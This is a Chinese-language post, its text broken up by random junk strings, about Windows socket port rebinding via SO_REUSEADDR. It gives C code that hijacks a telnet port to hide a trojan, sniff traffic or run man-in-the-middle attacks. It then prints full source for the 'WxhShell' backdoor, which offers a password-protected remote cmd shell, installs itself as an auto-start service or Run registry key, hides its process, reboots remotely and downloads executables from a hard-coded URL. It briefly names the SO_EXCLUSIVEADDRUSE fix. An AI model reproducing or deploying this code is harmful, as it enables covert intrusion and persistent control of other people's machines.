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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'Nv*ePz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bR!*z Ju#t^P saddr.sin_family = AF_INET; z@3t>k|K HW(cA}$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); {?' DZR s )xuvY3BPB? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KfsU RTZ 0x\bDWZ_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d&QB?yLd 4c*?9r@ 这意味着什么?意味着可以进行如下的攻击: 257pO9] g9`z]qGWS: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c} GH|i Eh)PZvH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dtw4cG .>0j<|~
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;{79d8/= <T[wZ[l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 P"LbWZ6Nj Pvq74?an` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^-9g_5 fWKI~/eUY| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0?KY9 _h2axXFhT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r(W=1e' +,&8U&~` #include 'a`cK;X9F #include xt7ZrT #include ?32gug\i'} #include [%M=nJ{8 DWORD WINAPI ClientThread(LPVOID lpParam); ]uN}n;`12 int main() 59;p| { G=R`O1-3 WORD wVersionRequested; |kPjjVGF{ DWORD ret; fz[o;GTc WSADATA wsaData; h\#\hx BOOL val; ToWiXH)4 SOCKADDR_IN saddr; n.&z^&$w\) SOCKADDR_IN scaddr; 6;WfsG5 int err; 1 PL2[_2: SOCKET s; i^9 ,. $<1 SOCKET sc; K(
: NshM int caddsize; @N,(82k HANDLE mt; Id6H~; DWORD tid; -?_#Yttu wVersionRequested = MAKEWORD( 2, 2 ); $]v=2j err = WSAStartup( wVersionRequested, &wsaData ); [Yr}:B
< if ( err != 0 ) { eD4D<\* printf("error!WSAStartup failed!\n"); N~rA /B]T return -1; km@V|"ac
_ } w;@NYMK) saddr.sin_family = AF_INET; <$6r1y*G q~esxp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a8D7n Ea .
V5Pr}"y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0, b.;r saddr.sin_port = htons(23); aQjs5RbP~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #0HZ"n { `fTH"l1zn printf("error!socket failed!\n"); w ]8+
OP return -1; HQtR;[1 } lZ5LHUzP val = TRUE; 4= 7#=F1 //SO_REUSEADDR选项就是可以实现端口重绑定的 k
P]' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0R2KI,WI { * {avx printf("error!setsockopt failed!\n"); C K#^`w return -1; (AYzN3
?D } z):LF< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2VpKG*!\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #:B14E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1zNh&
" o >wty3l: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d-X6yRjnj { p{@j M ret=GetLastError(); nXU`^<nA printf("error!bind failed!\n"); 91f{qq=#J{ return -1; a/wg%cWG_ } V ,+&.A23 listen(s,2); =EJ8J;y_f while(1) YCPU84f { WswM5RN caddsize = sizeof(scaddr); ZVX1@p //接受连接请求 ^;8dl.; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5q^5DH_; if(sc!=INVALID_SOCKET) I K9plsd* { j.]ln}b/'+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |
)No4fm if(mt==NULL) QLm#7ms*y { ;S_Imf0$v printf("Thread Creat Failed!\n"); wiFA3_\G break; + *W%4e } :Bh7mF-1 } *KV^X(/ CloseHandle(mt); G1
K@Ir< } `uwSxt closesocket(s); 8l>7=~Egp WSACleanup(); d53Eu`QW? return 0; /Moyn"Kj{ } 9GX'+$R] DWORD WINAPI ClientThread(LPVOID lpParam) 7VIfRN{5n { #Zg pm"MW SOCKET ss = (SOCKET)lpParam; o$p]
p9 SOCKET sc; ,Mr_F^| unsigned char buf[4096]; RRb>]oD SOCKADDR_IN saddr; 1rIL[(r4 long num; wzj:PS DWORD val; t`-
[ DWORD ret; eemC;JV % //如果是隐藏端口应用的话,可以在此处加一些判断 ms&6N'] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 'F%h]4|1 saddr.sin_family = AF_INET; \ nUJ)w saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #e[S+a saddr.sin_port = htons(23); \"a~~Koe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :-Wh'H( { (kVxa8 0 printf("error!socket failed!\n"); Xf;_r+; return -1; \;+TZ1i_ } Ub{7 Xk
n val = 100; l h?[wc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^v&"{2 { 2c'<rkA ret = GetLastError(); +3k.xP?QS return -1; '=+gweM } ?X+PNw|pf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BZa`:ah~x { kpRk.Q* ret = GetLastError(); uf1s}/M return -1; mT>RQ. } C{G;G@/7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k*rG^imX { b"2_EnE}1 printf("error!socket connect failed!\n"); _Qq lOc9 closesocket(sc); 7ju^B/7 closesocket(ss); Z kBWVZb return -1; yBCLS550 } !iL6 / while(1) ( m7qc { A>frf[fAW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~uG/F?= Q: //如果是嗅探内容的话,可以再此处进行内容分析和记录 $k+XH+1CW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,=[r6k< num = recv(ss,buf,4096,0); xJin%:O if(num>0) [M#(su0fv send(sc,buf,num,0); ~i]4~bkH2 else if(num==0) N"7BV break; \' &,9lP num = recv(sc,buf,4096,0); j>5X^Jd if(num>0) KuF>2KX~Y send(ss,buf,num,0); K."W/A! else if(num==0) !/]z-z2> break; FjW%M;H } "$3~):o closesocket(ss); s6D Pb_, closesocket(sc); @o&UF-=MW( return 0 ; T#KVN{O } dFZh1*1 z`YAOhD*h4 3x=NSe|f ========================================================== aqgm >ktekO:H 下边附上一个代码,,WXhSHELL H {uR+&< L?(m5u~b ========================================================== (hIe!"s* miV 8jaV #include "stdafx.h" t'DIKug& 0IQ|`C. #include <stdio.h> ]sqp^tQ`e #include <string.h> PI)uBA; #include <windows.h> Hiih$O+ #include <winsock2.h> zomg$@j #include <winsvc.h> fK{Z{)D #include <urlmon.h> 3=_to7] ^t[br6G #pragma comment (lib, "Ws2_32.lib") DCgiTT\ #pragma comment (lib, "urlmon.lib") 6W'2w?qj?4 N8Un42 #define MAX_USER 100 // 最大客户端连接数 _<jccQ #define BUF_SOCK 200 // sock buffer $KmE9Se6, #define KEY_BUFF 255 // 输入 buffer Q[bIkvr| /?C6oj1 #define REBOOT 0 // 重启 2'WdH1UrBc #define SHUTDOWN 1 // 关机 !<^`Sx/+ gWy2E;"a #define DEF_PORT 5000 // 监听端口 BgwZZ<B ?D]T|=EZY #define REG_LEN 16 // 注册表键长度 HgRfMiC #define SVC_LEN 80 // NT服务名长度 yF1^/y!@ cKAZWON8;v // 从dll定义API cx4'rK. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hF-X8$[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `=#ry*E^: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nmrdqSV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mW U*}-M hN_,Vyf // wxhshell配置信息 dUpOg{I.x struct WSCFG { CYC6:g|) int ws_port; // 监听端口 U=UnE"h char ws_passstr[REG_LEN]; // 口令 Vt
U int ws_autoins; // 安装标记, 1=yes 0=no DYCXzFAa char ws_regname[REG_LEN]; // 注册表键名 XcQ'( char ws_svcname[REG_LEN]; // 服务名 .:jfNp~jt char ws_svcdisp[SVC_LEN]; // 服务显示名 _:l<4u! char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 m!e\x8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N%`Eq@5 int ws_downexe; // 下载执行标记, 1=yes 0=no y8\4TjS1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]ipltR7k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gex%~';+q VUGVIy. }; ppM^&6x^ +Pm}_"GU // default Wxhshell configuration %Tv^BYQAZ struct WSCFG wscfg={DEF_PORT, ^k}jPc6 "xuhuanlingzhe", a0x/ ?)DO 1, eEkbD"Q "Wxhshell", )*3sE1 "Wxhshell", ^!>o5Y) "WxhShell Service", ]Q\/si& "Wrsky Windows CmdShell Service", &\o!-EIK8 "Please Input Your Password: ", :j0r~*z- 1, EJ3R{^ " http://www.wrsky.com/wxhshell.exe", tvG/oe .1' "Wxhshell.exe" yasKU6^R' }; H@xIAL (eAh8^) // 消息定义模块 D2}nJFR
] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oXkxd3 char *msg_ws_prompt="\n\r? for help\n\r#>"; ROHr%'owgL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; JRj%d&^} char *msg_ws_ext="\n\rExit."; (PN!k0Y char *msg_ws_end="\n\rQuit."; 3#Hx^H char *msg_ws_boot="\n\rReboot..."; )v67wn*1A char *msg_ws_poff="\n\rShutdown..."; 0BTLIV$d; char *msg_ws_down="\n\rSave to "; \WVrn >%xu jE{2rw$ZJ? char *msg_ws_err="\n\rErr!"; +}@HtjM char *msg_ws_ok="\n\rOK!"; G&Sp } &~7b-foCq char ExeFile[MAX_PATH]; 8y{<M"v+/ int nUser = 0; ZrFC#wJb HANDLE handles[MAX_USER]; a|im DY_-j int OsIsNt; 8vcV-+x 217KJ~)' SERVICE_STATUS serviceStatus; f9g#pyH4 SERVICE_STATUS_HANDLE hServiceStatusHandle; @M-+-6+ pU*dE
// 函数声明 ?b~V uo int Install(void); v&B*InR?+ int Uninstall(void); YQ_3[[xT int DownloadFile(char *sURL, SOCKET wsh); Z?5kO-[ int Boot(int flag); G8lR_gD"! void HideProc(void); ( {H5k'' int GetOsVer(void); 8eSIY17 int Wxhshell(SOCKET wsl); $Rsf`*0- void TalkWithClient(void *cs); qlSc[nEk int CmdShell(SOCKET sock); {7)D/WY5 int StartFromService(void); KFd"JtPg int StartWxhshell(LPSTR lpCmdLine); e1X*}OI oO|zRK1;/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M ,8r{[2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); vvLm9Tw m[C-/f^u| // 数据结构和表定义 ~n84x SERVICE_TABLE_ENTRY DispatchTable[] = +xwz.::: { Mrp'wF
D {wscfg.ws_svcname, NTServiceMain}, /GNRu {NULL, NULL} RV|: mI }; QH6Lb%]/ $Tt@Xu // 自我安装 $L.0$-je4 int Install(void) B3'qmi< { %,GY&hTw char svExeFile[MAX_PATH]; t#~r'5va HKEY key; N
G1]!Vz5 strcpy(svExeFile,ExeFile); sD.bBz hFP$MFab // 如果是win9x系统,修改注册表设为自启动 hNXPm~OK\ if(!OsIsNt) { qu8i Jq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]?xF'3# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FK{YRt RegCloseKey(key); -3X#$k8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (
=->rP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !J[3U
RegCloseKey(key); yE-&TW_q:> return 0; *L/_ v } MwL'
H< } m~#S76!w } cn=~}T@~Z else { AL}c-#GG %$I\\qq>{ // 如果是NT以上系统,安装为系统服务 O1coay SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^v3ytS if (schSCManager!=0) WKqNJN C { s'ntf SC_HANDLE schService = CreateService Oe^3YOR#j{ ( 3`J?as@^8 schSCManager, R,/?p wscfg.ws_svcname, AShJtxxa wscfg.ws_svcdisp, #18H
Z4N SERVICE_ALL_ACCESS, &7T0nB/) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WYwsTsG{_ SERVICE_AUTO_START, UMo=bs SERVICE_ERROR_NORMAL, x';6 svExeFile, =XJ
SE+ 7 NULL, i=reJ(y- NULL, xg'z_W NULL, +XJj:%yt NULL, 06pLa3oi NULL t'_Hp}, ); -f z
| if (schService!=0) >;nE.] { vX)JJ|g CloseServiceHandle(schService); X7{ueP#L CloseServiceHandle(schSCManager); $/5Jc[Ow strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q+3Z3v strcat(svExeFile,wscfg.ws_svcname);
A<r@,*(g if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #SQT!4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -$?xR]( f RegCloseKey(key); WHqp7NPl return 0; ={W;8BUV%^ } ^u:7U4 } h5U@Ys CloseServiceHandle(schSCManager); K!5QFO4 } vO%n~l= } ?7@B$OlU c\-5vw||b return 1; 0V"r$7(} } Av^{$9yl a:Y6yg%1> // 自我卸载 EJ.oq*W!*J int Uninstall(void) "L|Ew# { xpx=t71Hq HKEY key; =_\5h=`Yx 7UejK r if(!OsIsNt) { (\, <RC\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LpGplDlB RegDeleteValue(key,wscfg.ws_regname); #Bg88!-4 RegCloseKey(key); A9Q!V01_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sczN0*w&C RegDeleteValue(key,wscfg.ws_regname); }BKEz[G( RegCloseKey(key); 9s6@AJf return 0; 2xhwi.u } 2BXpk^d5y } 6B)(kPW } ;3U-ghj else { {2vk< C~ t?< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TUIj-HSe if (schSCManager!=0) h=.|!u { A07g@3n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wdS^`nz| if (schService!=0) 53J!iNnXT6 { K~H)XJFF if(DeleteService(schService)!=0) { ah1d0eP CloseServiceHandle(schService); l)[\TD
CloseServiceHandle(schSCManager); P,k~! F^L return 0; }&I\a } t
9&xk?%{ CloseServiceHandle(schService); :tp2@*]9Z } J0*hJ-/u CloseServiceHandle(schSCManager); S_/9eI~X } =dx!R ,Bw } ?:vp3f# mEfI2P)#| return 1; S<rdPS*P } veAg?N<c
p 'DO^ ($N // 从指定url下载文件 Nz_c]3_j int DownloadFile(char *sURL, SOCKET wsh) n0F.Um { $h`(toTyF HRESULT hr; Ni#!C:q char seps[]= "/"; X1&Ug^ char *token; NdGIH/Y;M char *file; reR ><p char myURL[MAX_PATH]; t~ruP',~\ char myFILE[MAX_PATH]; S-}MS" eQu%TZ(x-$ strcpy(myURL,sURL); wwrP7T+d token=strtok(myURL,seps); ~qt)r_jW while(token!=NULL) $R(?@B( { 6w(Mb~[n file=token; .w2QiJ token=strtok(NULL,seps); #=F"PhiX` } uw! aEU[k>& GetCurrentDirectory(MAX_PATH,myFILE); L08>9tf` strcat(myFILE, "\\"); d]1%/$v^ strcat(myFILE, file); KilgeN: send(wsh,myFILE,strlen(myFILE),0); !<r+h,C send(wsh,"...",3,0); 8|^dM$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j1_ E^ if(hr==S_OK) 0^'A^ return 0; n,sf$9" else (t&]u7Atr return 1; +Go(yS S\fEV" } Gt#Jr!N~ s2f95<B // 系统电源模块 r=GF*i[3 int Boot(int flag) o?nlnoe { uC\FW6K=m HANDLE hToken; nk.Y#+1) TOKEN_PRIVILEGES tkp; Y `4AML RC7|@a if(OsIsNt) { [MSLVTR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EvZ;i^.8LS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O7@CAr tkp.PrivilegeCount = 1; )|;*[S4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s( @w1tS. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bz}Dgbb if(flag==REBOOT) { WrK!]17or if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y,qP$5xiq return 0; ,w~0U } TDI8L\rr else { 0kN;SSX! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O%)@> 5#S return 0; kPwgayz } #_yQv? J } cBf9-k else { \PS{/XK if(flag==REBOOT) { _^4\z*x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?pgdj|"a return 0; x_9<&Aj6 } [?3*/*V else { 7q bGA K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WqN=D5 return 0; |\ Nj } VM{`CJ2 } Q(SVJ u#5/s 8 return 1; :LRR\v0HM } r\]yq-_ PoMkFG6 // win9x进程隐藏模块 {9TWPB/> void HideProc(void) d7N;Fa3yL { )
Kfk\ T=cSTS!P;q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pTq,"}J!+ if ( hKernel != NULL ) xO'I*) { 4mOw[}@A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j&E4|g ( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &_FNDJ>MCk FreeLibrary(hKernel); q0WW^jwQ } KtJE >(z{1'f{ return; Wu)ATs} } iHjo3_g)n KsYT3 // 获取操作系统版本 9[DQ[bL int GetOsVer(void) q3Umqvl)oe { Fk D OSVERSIONINFO winfo; .jMm-vox} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UwtOlV:G{ GetVersionEx(&winfo); YVVX7hB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I^Ichn return 1; 7HPLD&WPt else ub6\m=Y7 return 0; n? "ti } #%VprcEK $gDp-7 // 客户端句柄模块 L1BpkB int Wxhshell(SOCKET wsl) }7hpx!s, { Ary$,3X2 SOCKET wsh; Wy#`*h, struct sockaddr_in client; qt]QO1pAd DWORD myID; iMx+y5O !|_
CXm
T| while(nUser<MAX_USER) t^?8Di\ { 1hZM)) int nSize=sizeof(client); ~m!>e])P?X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qh$D;t1= if(wsh==INVALID_SOCKET) return 1; CkoPno $Br^c< y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w%S<N if(handles[nUser]==0) 'G(N,vu[@ closesocket(wsh); ?f']*pD8 else +^YV>; nUser++; JoW*)3Z } >&^w\"' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t)XV'J ?^BsR return 0; F/j=rs,*|D } *(?YgV u
MzefRN // 关闭 socket v{
C]\8 void CloseIt(SOCKET wsh) 344,mnAd { :#TJ-l:# closesocket(wsh); 7vr)JT= nUser--; EoU}@MjM~ ExitThread(0); 6./&l9{h+ } bDUGzezP< /oiAAB27 // 客户端请求句柄 $#R.+B void TalkWithClient(void *cs) nOQ+oqM< { VPN@q<BV z*yN*M6t SOCKET wsh=(SOCKET)cs; GsDSJz char pwd[SVC_LEN]; d,<ctd char cmd[KEY_BUFF]; fvit+ char chr[1]; =m} {g/Bk int i,j; [Hd^49<P2 }$qy_Esl while (nUser < MAX_USER) { SF_kap%JM sK?[1BI if(wscfg.ws_passstr) { (3]7[h7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q|5wz]!5Y( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >5^Z'!Z" //ZeroMemory(pwd,KEY_BUFF); B|extWwu i=0; ZLL0 6p while(i<SVC_LEN) { ~-M7 qsJA|z&6x // 设置超时 [j93Mp fd_set FdRead; 42m`7uQ struct timeval TimeOut; d=>5%$:v FD_ZERO(&FdRead); ORtl~V' FD_SET(wsh,&FdRead); H>M%5bj TimeOut.tv_sec=8; 8l='H l TimeOut.tv_usec=0; W
8E<P y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v0$6@K;M4G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k ,<L#?,a
xY!]eLZ)& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V7lDuiAI pwd =chr[0]; >Y2Rr9 if(chr[0]==0xd || chr[0]==0xa) { Pi8U}lG; pwd=0; @F,HyCSN break; /au\OBUge } q>Q|:g&: i++; q!AS}rV } &UzZE17R ,/d-o;W // 如果是非法用户,关闭 socket pg>P]a{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zb9@U: \ } we} sC, S>"dUM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t: [[5];E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +u)' JGO>X|T
while(1) { ;<MaCtDt R#T6Ii ZeroMemory(cmd,KEY_BUFF); ~Yr.0i.W .
}=;]= // 自动支持客户端 telnet标准 Jhj]rsGk j=0; Ko%rB+d while(j<KEY_BUFF) { -_4! id if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \\/X+4|o' cmd[j]=chr[0]; 2XXEg>CU if(chr[0]==0xa || chr[0]==0xd) { ]7VK&YfN cmd[j]=0; He]F~GXP break;
V!Joh5=a } bu hxC5i% j++; d@w
I:
7 } B[$SA-ZHi RV($G8U // 下载文件 #15q`w if(strstr(cmd,"http://")) { M 0"feq send(wsh,msg_ws_down,strlen(msg_ws_down),0); X'u`\<&W if(DownloadFile(cmd,wsh)) ,%jJ
,G, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}M{[6! else MRC5c:( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5Z\9`f[ } 2xnOWW else { UG!&n@R .K93VTzy switch(cmd[0]) { jG^~{7# pTN_6=Y" // 帮助 |/(5GX,X case '?': { o j^U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S4(IYnwN break; y%GV9 } y>#j4%D~4 // 安装 /;lk.-yU case 'i': { ^Uf`w7"iY if(Install()) m:^@AR1%d send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49#-\=<gt else "d#s|_n,d) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ltj}>.+ break; @2u<Bh}} } )N=wJN1 // 卸载 s R~&S)) case 'r': { _m&VdIPO if(Uninstall()) !of7]s send(wsh,msg_ws_err,strlen(msg_ws_err),0); /qCYNwWH9 else yjpjJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oO|^ [b# break; &p%,+| } YU"Am ! // 显示 wxhshell 所在路径 ::R^ w" case 'p': { b'&pJ1]]} char svExeFile[MAX_PATH]; /}VQzF strcpy(svExeFile,"\n\r"); M&K@><6k,k strcat(svExeFile,ExeFile); w iq{Jo# send(wsh,svExeFile,strlen(svExeFile),0); -`RJk( break; <Kh\i'8 } }n.h)Oz // 重启 VgdkCdWRm_ case 'b': { Y}Dp{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J!H5{7.efN if(Boot(REBOOT)) k`t'P6
bU send(wsh,msg_ws_err,strlen(msg_ws_err),0); daorKW4 else { b'OO~>86 closesocket(wsh); ELPJ}moWZ ExitThread(0); wx!*fy4hL } QA3l:D}u break; lVFX@I =pI } miKi$jC}vq // 关机 @v'D9 ? case 'd': { I%&9`ceWY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lr^xp,_ n if(Boot(SHUTDOWN)) \XN5)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); yjO7/<2 else { |:?.-tq closesocket(wsh); o`U\Nhq ExitThread(0); e.+)0)A- } lEDHx[q break; [0LqZ<\5 } ]~zJ7I // 获取shell U,M,E@ case 's': { 85fDuJ9$Z" CmdShell(wsh); >(rB[ZJ closesocket(wsh); iK]g3ew| ExitThread(0); ##_Za6/n break; &V3oW1*W } !VHIl&Mos // 退出
]mj+*l5 case 'x': { }ELCnN send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Q}mJs CloseIt(wsh); PQ]9xzOg[ break; 6y_Z'@L } {?y7' // 离开 5Nb_K`Vp* case 'q': { -9I% send(wsh,msg_ws_end,strlen(msg_ws_end),0); =)YYx8gR closesocket(wsh); 1.H!A@ WSACleanup(); bW^QH-t exit(1); sri#L+I break; cOZ^huK } _ICDtG^ } PL$F;d } ;cn.s, Vk_&W.~ // 提示信息 @%nUfG7TQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2P_^@g } i{ @'\}{L } 9:i,WJO V8$bPVps return; VQ<i$ I } Q3%#
o+R> ]3,.g)U*m // shell模块句柄 {U '&9_y int CmdShell(SOCKET sock) RhNaYO { by]|O STARTUPINFO si; ]MLLr'6? ZeroMemory(&si,sizeof(si)); ynbpew aa si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~!-8l&C si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >X,Ag PROCESS_INFORMATION ProcessInfo; ,."(Gp char cmdline[]="cmd"; %
r Y8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5[2.5/ return 0; `6N-MsP } ^=Ct Aa2 o-=d|dWG // 自身启动模式 NZC='3Uz int StartFromService(void) .hlQ?\ { 7;}3{z typedef struct iQzX-a|4] { d6@jEa- DWORD ExitStatus; W+f&%En DWORD PebBaseAddress; J&"?m.~@ DWORD AffinityMask; +:]Aqyc\ DWORD BasePriority; e9`uD|KAS| ULONG UniqueProcessId; "-QRkif ULONG InheritedFromUniqueProcessId; y{`(|,[ } PROCESS_BASIC_INFORMATION; RQpIBsj {pe7]P? PROCNTQSIP NtQueryInformationProcess; fAMD2C !P~ PF:W~| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nK h%E-c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qbU1qF/ a()6bRc~T HANDLE hProcess; YNg\"XjJM< PROCESS_BASIC_INFORMATION pbi; F!)M<8jL&9 ;o)=XEh8P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H6ky)kF& if(NULL == hInst ) return 0; N*
